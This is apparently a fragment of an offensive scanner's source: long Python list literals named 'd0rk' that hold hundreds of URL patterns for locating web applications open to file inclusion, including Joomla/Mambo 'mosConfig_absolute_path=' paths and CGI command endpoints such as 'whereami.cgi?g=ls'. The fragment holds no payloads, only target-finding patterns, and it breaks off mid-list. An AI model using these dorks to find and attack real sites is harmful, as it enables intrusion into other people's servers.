d0rk += [ 'index3.php?open=', 'start.php?module=', 'main.php?load=', 'enter.php?pg=', 'padrao.php?redirect=', 'pagina.php?my=', 'gery.php?pre=', 'enter.php?w=', 'info.php?texto=', 'enter.php?open=', 'base.php?rub=', 'gery.php?*[*]*=', 'include.php?cmd=', 'standard.php?dir=', 'layout.php?page=', 'index3.php?pageweb=', 'include.php?numero=', 'path.php?destino=', 'index3.php?home=', 'default.php?seite=', 'path.php?eval=', 'base.php?choix=', 'template.php?cont=', 'info.php?pagina=', 'default.php?x=', 'default.php?option=', 'gery.php?ki=', 'down*.php?second=', 'blank.php?path=', 'pagina.php?v=', 'file.php?pollname=', 'index3.php?var=', 'layout.php?goto=', 'pagina.php?incl=', 'home.php?action=', 'include.php?oldal=', 'print.php?left=', 'print.php?u=', 'nota.php?v=', 'home.php?str=', 'press.php?panel=', 'page.php?mod=', 'default.php?param=', 'down*.php?texto=', 'mod*.php?dir=', 'view.php?where=', 'blank.php?subject=', 'path.php?play=', 'base.php?l=', 'index2.php?rub=', 'general.php?opcion=', 'layout.php?xlink=', 'padrao.php?name=', 'pagina.php?nivel=', 'default.php?oldal=', 'template.php?k=', 'main.php?chapter=', 'layout.php?chapter=', 'layout.php?incl=', 'include.php?url=', 'base.php?sivu=', 'index.php?link=', 'sub*.php?cont=', 'info.php?oldal=', 'general.php?rub=', 'default.php?str=', 'head.php?ev=', 'sub*.php?path=', 'view.php?page=', 'main.php?j=', 'index2.php?basepath=', 'gery.php?qry=', 'main.php?url=', 'default.php?incl=', 'show.php?redirect=', 'index1.php?pre=', 'general.php?base_dir=', 'start.php?in=', 'show.php?abre=', 'index1.php?home=', 'home.php?ev=', 'index2.php?ki=', 'base.php?pag=', 'default.php?ir=', 'general.php?qry=', 'index2.php?home=', 'press.php?nivel=', 'enter.php?pr=', 'blank.php?loader=', 'start.php?cmd=', 'padrao.php?d=', 'sitio.php?recipe=', 'principal.php?read=', 'standard.php?showpage=', 'main.php?pg=', 'page.php?panel=', 'press.php?addr=', 'template.php?s=', 'main.php?tipo=', '*inc*.php?ev=', 'padrao.php?page=', 'show.php?thispage=', 'home.php?secao=', 'main.php?start=', 'enter.php?mid=', 'press.php?id=', 'main.php?inc=', 'index3.php?cmd=', 'index.php?pname=', 'press.php?subject=', 'include.php?sec=', 'index3.php?xlink=', 'general.php?texto=', 'index3.php?go=', 'index.php?cmd=', 'index3.php?disp=', 'index3.php?left=', 'sub*.php?middle=', 'show.php?modo=', 'index1.php?pagina=', 'head.php?left=', 'enter.php?phpbb_root_path=', 'show.php?z=', 'start.php?basepath=', 'blank.php?strona=', 'template.php?y=', 'page.php?where=', 'layout.php?category=', 'index1.php?my=', 'principal.php?phpbb_root_path=', 'nota.php?channel=', 'page.php?choix=', 'start.php?xlink=', 'home.php?k=', 'standard.php?phpbb_root_path=', 'principal.php?middlePart=', 'mod*.php?m=', 'index.php?recipe=', 'template.php?path=', 'pagina.php?dir=', 'sitio.php?abre=', 'index1.php?recipe=', 'blank.php?page=', 'sub*.php?category=', '*inc*.php?body=', 'enter.php?middle=', 'home.php?path=', 'down*.php?pre=', 'base.php?w=', 'main.php?path=' ]
d0rk += [ 'nota.php?ir=', 'press.php?link=', 'gery.php?pollname=', 'down*.php?open=', 'down*.php?pageweb=', 'default.php?eval=', 'view.php?showpage=', 'show.php?get=', 'sitio.php?tipo=', 'layout.php?cont=', 'default.php?destino=', 'padrao.php?seccion=', 'down*.php?r=', 'main.php?param=', 'standard.php?e=', 'down*.php?in=', 'nota.php?include=', 'sitio.php?secao=', 'print.php?my=', 'general.php?abre=', 'general.php?link=', 'default.php?id=', 'standard.php?panel=', 'show.php?channel=', 'enter.php?r=', 'index3.php?phpbb_root_path=', 'gery.php?where=', 'head.php?middle=', 'sub*.php?load=', 'gery.php?sp=', 'show.php?chapter=', 'sub*.php?b=', 'general.php?adresa=', 'print.php?goto=', 'sub*.php?sp=', 'template.php?doshow=', 'padrao.php?base_dir=', 'index2.php?my=', 'include.php?w=', 'start.php?op=', 'main.php?section=', 'view.php?header=', 'layout.php?menue=', 'head.php?y=', 'sub*.php?content=', 'show.php?type=', 'base.php?id=', 'mod*.php?qry=', 'default.php?strona=', 'sitio.php?chapter=', 'gery.php?index=', 'nota.php?h=', 'page.php?oldal=', 'enter.php?panel=', 'blank.php?t=', 'start.php?pollname=', 'sub*.php?module=', 'enter.php?thispage=', 'mod*.php?index=', 'sitio.php?r=', 'sub*.php?play=', 'index2.php?doshow=', 'index2.php?chapter=', 'show.php?path=', 'gery.php?to=', 'info.php?base_dir=', 'gery.php?abre=', 'gery.php?pag=', 'view.php?channel=', 'default.php?mod=', 'index.php?op=', 'general.php?pre=', 'padrao.php?type=', 'template.php?pag=', 'standard.php?pre=', 'blank.php?ref=', 'down*.php?z=', 'general.php?inc=', 'home.php?read=', 'pagina.php?section=', 'default.php?basepath=', 'index.php?pre=', 'sitio.php?pageweb=', 'base.php?seite=', '*inc*.php?j=', 'index2.php?filepath=', 'file.php?type=', 'index1.php?oldal=', 'index2.php?second=', 'index3.php?sekce=', 'info.php?filepath=', 'base.php?opcion=', 'path.php?category=', 'index3.php?start=', 'start.php?rub=', '*inc*.php?i=', 'blank.php?pre=', 'general.php?channel=', 'index2.php?OpenPage=', 'page.php?section=', 'mod*.php?middle=', 'index1.php?goFile=', 'blank.php?action=', 'principal.php?loader=', 'sub*.php?op=', 'main.php?addr=', 'start.php?mid=', 'gery.php?secao=', 'pagina.php?tipo=', 'index.php?w=', 'head.php?where=', 'principal.php?tipo=', 'press.php?loader=', 'gery.php?showpage=', 'gery.php?go=', 'enter.php?start=', 'press.php?lang=', 'general.php?p=', 'index.php?sekce=', 'index2.php?get=', 'sitio.php?go=', 'include.php?cont=', 'sub*.php?where=', 'index3.php?index=', 'path.php?recipe=', 'info.php?loader=', 'print.php?sp=', 'page.php?phpbb_root_path=', 'path.php?body=', 'principal.php?menue=', 'print.php?cont=', 'pagina.php?z=', 'default.php?mid=', 'blank.php?xlink=', 'sub*.php?oldal=', 'general.php?b=', 'include.php?left=', 'print.php?sivu=', 'press.php?OpenPage=', 'default.php?cont=', 'general.php?pollname=', 'template.php?nivel=', 'enter.php?page=', 'file.php?middle=', 'standard.php?str=', 'gery.php?get=', 'main.php?v=', 'down*.php?subject=', 'enter.php?sivu=' ]
d0rk += [ 'path.php?option=', 'index.php?strona=', 'index1.php?choix=', 'index2.php?f=', 'press.php?destino=', 'pagina.php?channel=', 'principal.php?b=', 'home.php?include=', 'head.php?numero=', 'general.php?ref=', 'main.php?dir=', 'gery.php?cont=', 'principal.php?type=', 'file.php?param=', 'default.php?secao=', 'path.php?pageweb=', 'info.php?r=', 'base.php?phpbb_root_path=', 'main.php?itemnav=', 'view.php?pg=', 'pagina.php?choix=', 'default.php?itemnav=', 'index2.php?cmd=', 'layout.php?url=', 'index.php?path=', 'index1.php?second=', 'start.php?modo=', 'index1.php?get=', 'index3.php?my=', 'sub*.php?left=', 'print.php?inc=', 'view.php?type=', 'path.php?*[*]*=', 'base.php?adresa=', 'index3.php?oldal=', 'standard.php?body=', 'base.php?path=', 'principal.php?strona=', 'info.php?l=', 'template.php?left=', 'head.php?loc=', 'page.php?ir=', 'print.php?path=', 'down*.php?path=', 'sitio.php?opcion=', 'pagina.php?category=', 'press.php?menu=', 'index2.php?pref=', 'sitio.php?incl=', 'show.php?ki=', 'index3.php?x=', 'page.php?strona=', '*inc*.php?open=', 'index3.php?secao=', 'standard.php?*[*]*=', 'template.php?basepath=', 'standard.php?goFile=', 'index2.php?ir=', 'file.php?modo=', 'gery.php?itemnav=', 'main.php?oldal=', 'down*.php?showpage=', 'start.php?destino=', 'blank.php?rub=', 'path.php?ir=', 'layout.php?var=', 'index1.php?texto=', 'start.php?pg=', 'index1.php?showpage=', 'info.php?go=', 'path.php?load=', 'index3.php?abre=', 'blank.php?where=', 'info.php?start=', 'page.php?secao=', 'nota.php?pag=', 'nota.php?second=', 'index2.php?to=', 'standard.php?name=', 'start.php?strona=', 'mod*.php?numero=', 'press.php?home=', 'info.php?z=', 'mod*.php?path=', 'blank.php?base_dir=', 'base.php?texto=', 'nota.php?secc=', 'index.php?tipo=', 'index.php?goto=', 'print.php?pag=', 'view.php?secao=', 'general.php?strona=', 'show.php?my=', 'page.php?e=', 'padrao.php?index=', 'gery.php?thispage=', 'start.php?base_dir=', 'default.php?tipo=', 'gery.php?panel=', 'standard.php?ev=', 'standard.php?destino=', 'general.php?middle=', 'main.php?basepath=', 'standard.php?q=', 'index1.php?tipo=', 'mod*.php?choix=', 'template.php?ir=', 'show.php?adresa=', 'general.php?mid=', 'index3.php?adresa=', 'pagina.php?sec=', 'template.php?secao=', 'home.php?w=', 'general.php?content=', 'sub*.php?recipe=', 'main.php?category=', 'enter.php?viewpage=', 'main.php?ir=', 'show.php?pageweb=', 'principal.php?ir=', 'default.php?pageweb=', 'index.php?oldal=', 'head.php?d=', 'gery.php?mid=', 'index.php?type=', 'standard.php?j=', 'show.php?oldal=', 'enter.php?link=', 'enter.php?content=', 'blank.php?filepath=', 'standard.php?channel=', 'base.php?*[*]*=', 'info.php?incl=', 'down*.php?include=', 'press.php?modo=', 'file.php?choix=', 'press.php?type=', 'blank.php?goto=', 'index3.php?showpage=', 'principal.php?subject=', 'start.php?chapter=', 'show.php?r=', 'pagina.php?thispage=', 'general.php?chapter=', 'page.php?base_dir=', 'page.php?qry=', 'show.php?incl=', 'page.php?*[*]*=' ]
d0rk += [ 'main.php?h=', 'file.php?seccion=', 'default.php?pre=', 'principal.php?index=', 'principal.php?inc=', 'home.php?z=', 'pagina.php?in=', 'show.php?play=', 'nota.php?subject=', 'default.php?secc=', 'default.php?loader=', 'padrao.php?var=', 'mod*.php?b=', 'default.php?showpage=', 'press.php?channel=', 'pagina.php?ev=', 'sitio.php?name=', 'page.php?option=', 'press.php?mid=', 'down*.php?corpo=', 'view.php?get=', 'print.php?thispage=', 'principal.php?home=', 'show.php?param=', 'standard.php?sivu=', 'index3.php?panel=', 'include.php?play=', 'path.php?cmd=', 'file.php?sp=', 'template.php?section=', 'view.php?str=', 'blank.php?left=', 'nota.php?lang=', 'path.php?sivu=', 'main.php?e=', 'default.php?ref=', 'start.php?seite=', 'default.php?inc=', 'print.php?disp=', 'home.php?h=', 'principal.php?loc=', 'index3.php?sp=', 'gery.php?var=', 'sub*.php?base_dir=', 'path.php?middle=', 'pagina.php?str=', 'base.php?play=', 'base.php?v=', 'sitio.php?sivu=', 'main.php?r=', 'file.php?nivel=', 'start.php?sivu=', 'template.php?c=', 'general.php?second=', 'sub*.php?mod=', 'home.php?loc=', 'head.php?corpo=', 'standard.php?op=', 'index2.php?inc=', 'info.php?pref=', 'base.php?basepath=', 'print.php?basepath=', '*inc*.php?m=', 'base.php?home=', 'layout.php?strona=', 'padrao.php?url=', 'sitio.php?oldal=', 'pagina.php?read=', 'index1.php?go=', 'standard.php?s=', 'page.php?eval=', 'index.php?j=', 'pagina.php?pr=', 'start.php?secao=', 'template.php?*[*]*=', 'nota.php?get=', 'index3.php?link=', 'home.php?e=', 'gery.php?name=', 'nota.php?eval=', 'sub*.php?abre=', 'index2.php?load=', 'principal.php?in=', 'view.php?load=', 'mod*.php?action=', 'default.php?p=', 'head.php?c=', 'template.php?viewpage=', 'view.php?mid=', 'padrao.php?addr=', 'view.php?go=', 'file.php?basepath=', 'home.php?pre=', 'include.php?goFile=', 'layout.php?play=', 'index1.php?subject=', 'info.php?middlePart=', 'down*.php?pg=', 'sub*.php?body=', 'index.php?option=', 'sub*.php?chapter=', 'default.php?t=', 'head.php?opcion=', 'nota.php?panel=', 'sitio.php?left=', 'show.php?include=', 'pagina.php?start=', 'head.php?choix=', 'index3.php?tipo=', 'index3.php?choix=', 'down*.php?channel=', 'base.php?pa=', 'nota.php?sekce=', 'show.php?l=', 'show.php?index=', 'blank.php?url=', 'start.php?thispage=', 'nota.php?play=', 'show.php?second=', 'enter.php?include=', 'principal.php?middle=', 'main.php?where=', 'padrao.php?link=', 'path.php?strona=', 'index3.php?read=', 'mod*.php?module=', 'standard.php?viewpage=', 'standard.php?pr=', '*inc*.php?showpage=', 'pagina.php?ref=', 'path.php?pname=', 'padrao.php?mid=', 'info.php?eval=', 'include.php?path=', 'page.php?subject=', 'sub*.php?qry=', 'head.php?module=', 'nota.php?opcion=', 'head.php?abre=', 'base.php?str=', 'home.php?body=', 'gery.php?module=', 'head.php?sivu=', 'page.php?inc=', 'pagina.php?header=', 'mod*.php?v=', 'home.php?doshow=', 'padrao.php?n=', 'index1.php?chapter=', 'padrao.php?basepath=', 'index.php?r=', 'index3.php?seccion=' ]
d0rk += [ 'sitio.php?mid=', 'index.php?where=', 'general.php?type=', 'pagina.php?goto=', 'page.php?pa=', 'default.php?menue=', 'main.php?goto=', 'index1.php?abre=', 'info.php?seccion=', 'index2.php?pa=', 'layout.php?pageweb=', 'nota.php?disp=', 'index1.php?body=', 'default.php?nivel=', 'show.php?header=', 'down*.php?pag=', 'start.php?tipo=', 'standard.php?w=', 'index.php?open=', 'blank.php?menu=', 'general.php?nivel=', 'padrao.php?nivel=', '*inc*.php?addr=', 'index.php?var=', 'home.php?redirect=', '*inc*.php?link=', '*inc*.php?incl=', 'padrao.php?corpo=', 'down*.php?url=', 'enter.php?goto=', 'down*.php?addr=', 'sub*.php?j=', 'principal.php?f=', 'sub*.php?menue=', 'index2.php?section=', 'general.php?my=', 'head.php?loader=', 'general.php?goto=', 'include.php?dir=', 'start.php?header=', 'blank.php?in=', 'base.php?name=', 'nota.php?goFile=', 'head.php?base_dir=', 'mod*.php?recipe=', 'press.php?pr=', 'padrao.php?*[*]*=', 'layout.php?opcion=', 'print.php?rub=', 'index.php?pr=', 'general.php?seite=', 'pagina.php?numero=', '*inc*.php?pg=', 'nota.php?rub=', 'view.php?seite=', 'pagina.php?recipe=', 'index.php?pref=', 'page.php?action=', 'page.php?ev=', 'show.php?ir=', 'head.php?index=', 'mod*.php?pname=', 'view.php?ir=', '*inc*.php?start=', 'principal.php?rub=', 'principal.php?corpo=', 'padrao.php?middle=', 'base.php?pname=', 'template.php?header=', 'view.php?sp=', 'main.php?name=', 'nota.php?m=', 'blank.php?open=', 'head.php?dir=', 'page.php?pname=', '*inc*.php?k=', 'index.php?pollname=', 'head.php?oldal=', 'index1.php?str=', 'template.php?choix=', 'down*.php?pollname=', 'page.php?recipe=', 'template.php?corpo=', 'nota.php?sec=', 'info.php?*[*]*=', 'sub*.php?*[*]*=', 'page.php?q=', 'index1.php?type=', 'gery.php?y=', 'standard.php?lang=', 'gery.php?page=', 'index.php?action=', 'press.php?pname=', 'down*.php?v=', 'index3.php?second=', 'show.php?recipe=', 'main.php?pre=', 'file.php?numero=', 'print.php?str=', 'standard.php?link=', 'nota.php?OpenPage=', 'view.php?pollname=', 'print.php?l=', 'index.php?go=', 'standard.php?numero=', 'view.php?pr=', 'down*.php?read=', 'down*.php?action=', 'index1.php?OpenPage=', 'principal.php?left=', 'mod*.php?start=', 'file.php?body=', 'gery.php?pg=', 'blank.php?qry=', 'base.php?eval=', 'default.php?left=', 'gery.php?param=', 'blank.php?pa=', 'nota.php?b=', 'path.php?loader=', 'start.php?o=', 'include.php?include=', 'nota.php?corpo=', 'enter.php?second=', 'sub*.php?pname=', 'mod*.php?pageweb=', 'principal.php?addr=', 'standard.php?action=', 'template.php?lang=', 'include.php?basepath=', 'sub*.php?ir=', 'down*.php?nivel=', 'path.php?opcion=', 'print.php?category=', 'print.php?menu=', 'layout.php?secao=', 'template.php?param=', 'standard.php?ref=', 'base.php?include=', 'blank.php?body=', 'path.php?pref=', 'print.php?g=', 'padrao.php?subject=', 'nota.php?modo=', 'index3.php?loader=', 'template.php?seite=', 'general.php?pageweb=', 'index2.php?param=', 'path.php?nivel=', 'page.php?pref=' ]
d0rk += [ 'press.php?pref=', 'enter.php?ev=', 'standard.php?middle=', 'index2.php?recipe=', 'blank.php?dir=', 'home.php?pageweb=', 'view.php?panel=', 'down*.php?home=', 'head.php?ir=', 'mod*.php?ir=', 'show.php?pagina=', 'default.php?base_dir=', 'show.php?loader=', 'path.php?mid=', 'blank.php?abre=', 'down*.php?choix=', 'info.php?opcion=', 'page.php?loader=', 'principal.php?oldal=', 'index1.php?load=', 'home.php?content=', 'pagina.php?sekce=', 'file.php?n=', 'include.php?redirect=', 'print.php?itemnav=', 'enter.php?index=', 'print.php?middle=', 'sitio.php?goFile=', 'head.php?include=', 'enter.php?e=', 'index.php?play=', 'enter.php?id=', 'view.php?mod=', 'show.php?nivel=', 'file.php?channel=', 'layout.php?choix=', 'info.php?body=', 'include.php?go=', 'index3.php?nivel=', 'sub*.php?include=', 'path.php?numero=', 'principal.php?header=', 'main.php?opcion=', 'enter.php?s=', 'sub*.php?pre=', 'include.php?index=', 'gery.php?pageweb=', 'padrao.php?path=', 'info.php?url=', 'press.php?ev=', 'index1.php?pg=', 'print.php?in=', 'general.php?modo=', 'head.php?ki=', 'press.php?my=', 'index1.php?pollname=', 'principal.php?to=', 'default.php?play=', 'page.php?g=', 'nota.php?pg=', 'blank.php?destino=', 'blank.php?z=', 'components/com_phpshop/toolbar.phpshop.html.php?mosConfig_absolute_path=', 'module_db.php?pivot_path= module_db.php?pivot_path="', '/classes/adodbt/sql.php?classes_dir= /classes/adodbt/sql.php?classes_dir="', 'components/com_extended_registration/registration_detailed.inc.php?mosConfig_absolute_path=', 'com_extended_registration', 'smarty_config.php?root_dir= "smarty"', 'include/editfunc.inc.php?NWCONF_SYSTEM[server_path]= site:.gr', 'send_reminders.php?includedir= "send_reminders.php?includedir="', 'components/com_rsgery/rsgery.html.php?mosConfig_absolute_path= com_rsgery', 'inc/functions.inc.php?config[ppa_root_path]= "Index - Albums" index.php', '/components/com_cpg/cpg.php?mosConfig_absolute_path= com_cpg"', '[Script Path]/admin/index.php?o= admin/index.php";', '/admin/index.php?o= admin/index.php";', '/modules/coppermine/themes/coppercop/theme.php?THEME_DIR= coppermine', '/components/com_extcalendar/admin_events.php?CONFIG_EXT[LANGUAGES_DIR]= com_extcalendar', 'admin/doeditconfig.php?thispath=../includes&config[path]= "admin"', '/components/com_simpleboard/image_upload.php?sbp= com_simpleboard"', 'components/com_simpleboard/image_upload.php?sbp= com_simpleboard"', '/modules/coppermine/themes/coppercop/theme.php?THEME_DIR= coppermine', 'mwchat/libs/start_lobby.php?CONFIG[MWCHAT_Libs]=', 'zentrack/index.php?configFile=', 'inst/index.php?lng=../../include/main.inc&G_PATH=', 'pivot/modules/module_db.php?pivot_path=', 'include/write.php?dir=', 'includes/header.php?systempath=', 'becommunity/community/index.php?pageurl=', 'agendax/addevent.inc.php?agendax_path=', 'myPHPCalendar/admin.php?cal_dir=', 'yabbse/Sources/Packages.php?sourcedir=', 'zboard/zboard.php', 'path_of_cpcommerce/_functions.php?prefix' ]
d0rk += [ 'dotproject/modules/projects/addedit.php?root_dir=', 'dotproject/modules/projects/view.php?root_dir=', 'dotproject/modules/projects/vw_files.php?root_dir=', 'dotproject/modules/tasks/addedit.php?root_dir=', 'dotproject/modules/tasks/viewgantt.php?root_dir=', 'My_eGery/public/displayCategory.php?basepath=', 'modules/My_eGery/public/displayCategory.php?basepath=', 'modules/4nAlbum/public/displayCategory.php?basepath=', 'modules/coppermine/themes/default/theme.php?THEME_DIR=', 'modules/agendax/addevent.inc.php?agendax_path=', 'modules/xoopsgery/upgrade_album.php?GERY_BASEDIR=', 'modules/xgery/upgrade_album.php?GERY_BASEDIR=', 'modules/coppermine/include/init.inc.php?CPG_M_DIR=', 'shoutbox/expanded.php?conf=', 'library/editor/editor.php?root=', 'library/lib.php?root=', 'e107/e107_handlers/secure_img_render.php?p=', 'main.php?x=', '*default.php?page=', '*default.php?body=', '*index.php?url=', '*index.php?arquivo=', 'index.php?include=', 'index.php?visualizar=', 'index.php?pagina=', 'index.php?page=', 'index.php?p=', 'index.php?cont=', 'index.php?x=', 'index.php?cat=', 'index.php?site=', 'index.php?configFile=', 'index.php?do=', 'index2.php?x=', 'Index.php?id=', 'template.php?pagina', 'inc/step_one_tables.php?server_inc=', 'GradeMap/index.php?page=', 'admin.php?cal_dir=', 'path_of_cpcommerce/_functions.php?prefix=', 'contacts.php?cal_dir=', 'convert-date.php?cal_dir=', 'album_portal.php?phpbb_root_path=', 'mainfile.php?MAIN_PATH=', 'dotproject/modules/files/index_table.php?root_dir=', 'gery/init.php?HTTP_POST_VARS=', 'pm/lib.inc.php?pm_path=', 'ideabox/include.php?gorumDir=', 'cgi-bin/index.cgi?page=', 'cgi-bin/awstats.pl?update=1&logfile=', 'cgi-bin/awstats/awstats.pl?configdir', 'cgi-bin/ikonboard.cgi', 'cgi-bin/acart/acart.pl?&page=', 'cgi-bin/quikstore.cgi?category=', 'cgi-bin/ubb/ubb.cgi?g=', 'cgi-bin/hinsts.pl?', 'cgi-bin/bp/bp-lib.pl?g=', 'ccbill/whereami.cgi?g=ls', 'cgi-bin/telnet.cgi', 'cgi-bin/1/cmd.cgi', 'calendar.pl?command=login&fromTemplate=', 'encore/forumcgi/display.cgi?preftemp=temp&page=anonymous&file=', 'events.cgi?t=', 'powerup.cgi?a=latest&t=', 'lc.cgi?a=', 'news.cgi?a=114&t=', 'biznews.cgi?a=33&t=', 'jobs.cgi?a=9&t=', 'articles.cgi?a=34&t=', 'events.cgi?a=155&t=', 'latinbitz.cgi?t=', 'newsdesk.cgi?t=', 'media.cgi?a=11&t=', 'reporter.cgi?t=', 'news.cgi?t=', 'newsupdate.cgi?a=latest&t=', 'deportes.cgi?a=latest&t=', 'news.cgi?a=latest&t=', 'whereami.cgi?g=id', 'auktion.pl?menue=', 'i-m/i-m.cgi?p=', 'vote.pl?action=show&id=', 'shop.pl/page=', 'newsdesk.cgi?a=latest&t=', 'fileseek.cgi?head=&foot=', 'cgi-bin/probe.cgi?olddat=', 'emsgb/easymsgb.pl?print=', 'app/webeditor/login.cgi?username=&command=simple&do=edit&password=&file=', 'csv_db/csv_db.cgi?fil e=file.extention', 'cgi-bin/jammail.pl?job=showoldmail&mail=', 'cgi-bin/bbs/read.cgi?file=', 'support_page.cgi?file_name=', 'index.php?include=', 'index.php?open=', 'index.php?visualizar=', 'main.php?x=', 'main.php?page=', 'index.php?meio.php=' ]
d0rk += [ 'index.php?page=', 'index.php?action=', 'index5.php?configFile=', 'index5.php?page=', 'index5.php?content=', 'index5.php?x=', 'index5.php?open=', 'index5.php?m=', 'index5.php?site=', 'index5.php?cat=', 'index.php?d=', 'index.php?a=', 'index.php?b=', 'index.php?c=', 'index.php?e=', 'index.php?f=', 'index.php?g=', 'index.php?h=', 'index.php?i=', 'index.php?j=', 'index.php?k=', 'index.php?l=', 'index.php?m=', 'index.php?n=', 'index.php?o=', 'index.php?p=', 'index.php?q=', 'index.php?r=', 'index.php?s=', 'index.php?t=', 'index.php?u=', 'index.php?v=', 'index.php?x=', 'index.php?y=', 'index.php?z=', 'index.php?loc=', 'index.php?seite=', 'index2.php?d=', 'index2.php?a=', 'index.php?ir=', 'index.php?secao=', 'index2.php?b=', 'index2.php?c=', 'index2.php?e=', 'index2.php?f=', 'index2.php?g=', 'index2.php?h=', 'index2.php?i=', 'index2.php?j=', 'index2.php?k=', 'index2.php?l=', 'index2.php?m=', 'index2.php?n=', 'index2.php?o=', 'index2.php?p=', 'index2.php?q=', 'index2.php?r=', 'index2.php?s=', 'index2.php?t=', 'index2.php?u=', 'index2.php?v=', 'index2.php?x=', 'index2.php?y=', 'index2.php?z=', 'index5.php?inc=', 'index5.php?pg=', 'index5.php?lv1=', 'index.php?sub=', 'index.php?sub2=', 'index.php?pg=', 'index.php?lv1=', 'index.php?directfile=', 'index.php?funcion=', 'index.php?ll=', 'index.php?lnk=', 'index5.php?main=', 'index5.php?include=', 'index5.php?root=', 'index5.php?pagina=', 'index.php?theme=', 'index.php?acao=', 'index5.php?cont=', 'index5.php?pag=', 'index5.php?p=', 'index5.php?lang=', 'index5.php?language=', 'template.php?pagina=', 'llindex.php?sub=', 'index2.php?pg=', 'index2.php?lv1=', 'index2.php?sub=', 'index2.php?directfile=', 'index2.php?funcion=', 'index2.php?sub2=', 'index2.php?ll=', 'index2.php?lnk=', 'index5.php?body=', 'index5.php?visualizar=', 'index5.php?do=', 'index2.php?theme=', 'index2.php?acao=', 'index2:php?aa=', 'index3:php?aa=', 'index.php?server=', 'index.php?cal=', 'index.php?prefix=', 'index.php?root_PATH=', 'index.php?path=', 'index.php?gorumdir=', 'index2.php?cont=', 'index2.php?server=', 'index2.php?cal=', 'index2.php?prefix=', 'index2.php?root_PATH=', 'index2.php?path= AKI', 'exibir.php?abre=', 'exibir.php?page=', 'exibir.php?get=', 'exibir.php?p=', 'exibir.php?lang=', 'index2.php?gorumdir=', 'index2.php?pag=', 'index2.php?lang=', 'index2.php?language=', 'index2.php?content=', 'index.php?middle=', 'step_one_tables.php?server_inc=', 'grademade/index.php?page=', 'phpshop/index.php?base_dir=', 'admin.php?cal_dir=', '_functions.php?prefix=', 'contacts.php?cal_dir=', 'convert-date.php?cal_dir=', 'album_portal.php?phpbb_root_path=', 'mainfile.php?MAIN_PATH=', 'index_table.php?root_dir=', 'affich.php?base=', 'init.php?HTTP_POST_VARS=', 'lib.inc.php?pm_path=', 'include.php?gorumDir=', 'start_lobby.php?CONFIG[MWCHAT_Libs]=', 'index.php?configFile=', 'module_db.php?pivot_path=', 'index.php?lng=../../include/main.inc&G_PATH=', 'initdb.php?absolute_path=', 'step_one.php?server_inc=' ]
d0rk += [ 'pipe.php?HCL_path=', 'write.php?dir=', 'new-visitor.inc.php?lvc_include_dir=', 'header.php?systempath=', 'theme.php?THEME_DIR=', 'index.php?pageurl=', 'expanded.php?conf=', 'addevent.inc.php?agendax_path=', 'Packages.php?sourcedir=', '_functions.php?prefix', 'addedit.php?root_dir=', 'view.php?root_dir=', 'vw_files.php?root_dir=', 'viewgantt.php?root_dir=', 'displayCategory.php?basepath=', 'default/theme.php?THEME_DIR=', 'upgrade_album.php?GERY_BASEDIR=', 'init.inc.php?CPG_M_DIR=', 'mod_mainmenu.php?mosConfig_absolute_path=', 'editor.php?root=', 'lib.php?root=', 'secure_img_render.php?p=', 'default.php?page=', 'arquivo.php?data=', 'word.php?id=', 'mod.php?mod=', 'index.php?plugin=', 'sendpage.php?page=', 'index.php?hl=', 'modules.php?op=', 'index.php?templateid=', 'article.php?sid=', '.php?my="', '.php?a="', '.php?f="', '.php?z="', '.php?zo="', '.php?la="', '.php?perm="', '.php?item_id="', '.php?f_content="', '.php?from="', '.php?mid="', '.php?lest="', '.php?east="', '.gov.br/index.php?arquivo=', 'index.php?ver=', '/contenido/classes/class.inuse.php', 'news.php?CONFIG[script_path]=', 'index.php?vpagina=', 'index.php?arq=', 'index.php?pg_ID=', 'index.php?pg=', 'home.php?page=', '*/newbb/print.php?forum=*topic_id=*"', '*/newbb_plus/*="', '*/news/archive.php?op=*year=*month=*"', '.php?abrir="', '.php?act="', '.php?action="', '.php?ad="', '.php?archive="', '.php?area="', '.php?article="', '.php?b="', '*/tsep/include/colorswitch.php?tsep_config[absPath]=*"', '.php?back="', '.php?base="', '.php?basedir="', '.php?bbs="', '.php?board_no="', '.php?body="', '.php?c="', '.php?cal_dir="', '.php?cat="', '/include/init.inc.php?CPG_M_DIR="', '/includes/mx_functions_ch.php?phpbb_root_path="', '/modules/MyGuests/signin.php?_AMGconfig[cfg_serverpath]="', '.php?_REQUEST=&_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path="', '.php?subd="', '.php?subdir="', '.php?category="', '.php?choice="', '.php?class="', '.php?club_id="', '.php?cod.tipo="', '.php?cod="', '.php?conf="', '.php?configFile="', '.php?cont="', '.php?corpo="', '.php?cvsroot="', '.php?d="', '.php?da="', '.php?date="', '.php?debug="', '.php?debut="', '.php?default="', '.php?destino="', '.php?dir="', '.php?display="', '.php?file_id="', '.php?file="', '.php?filepath="', '.php?flash="', '.php?folder="', '.php?for="', '.php?form="', '.php?formatword="', '.php?funcao="', '.php?function="', '.php?g="', '.php?get="', '.php?go="', '.php?gorumDir="', '.php?goto="', '.php?h="', '.php?headline="', '.php?i="', '.php?inc="', '.php?include="', '.php?includedir="', '.php?inter="', '.php?itemid="', '.php?j="', '.php?join="', '.php?jojo="', '.php?l="', '.php?lan="', '.php?lang="', '.php?link="', '.php?load="', '.php?loc="', '.php?m="', '.php?main="', '.php?meio.php="', '.php?meio="', '.php?menu="', '.php?menuID="', '.php?mep="', '.php?month="', '.php?mostra="', '.php?n="', '.php?name="', '.php?nav="', '.php?new="', '.php?news="', '.php?next="' ]
d0rk += [ '.php?nextpage="', '.php?o="', '.php?op="', '.php?open="', '.php?option="', '.php?origem="', '.php?Page_ID="', '.php?pageurl="', '.php?para="', '.php?part="', '.php?pg="', '.php?pid="', '.php?place="', '.php?play="', '.php?plugin="', '.php?pm_path="', '.php?pollname="', '.php?post="', '.php?pr="', '.php?prefix="', '.php?prefixo="', '.php?q="', '.php?redirect="', '.php?ref="', '.php?refid="', '.php?regionId="', '.php?release_id="', '.php?release="', '.php?return="', '.php?root="', '.php?S="', '.php?searchcode_id="', '.php?sec="', '.php?secao="', '.php?sect="', '.php?sel="', '.php?server="', '.php?servico="', '.php?sg="', '.php?shard="', '.php?show="', '.php?sid="', '.php?site="', '.php?sourcedir="', '.php?start="', '.php?storyid="', '.php?str="', '.php?subject="', '.php?sufixo="', '.php?systempath="', '.php?t="', '.php?task="', '.php?teste="', '.php?theme_dir="', '.php?thread_id="', '.php?tid="', '.php?title="', '.php?to="', '.php?topic_id="', '.php?type="', '.php?u="', '.php?url="', '.php?urlFrom="', '.php?v="', '.php?var="', '.php?vi="', 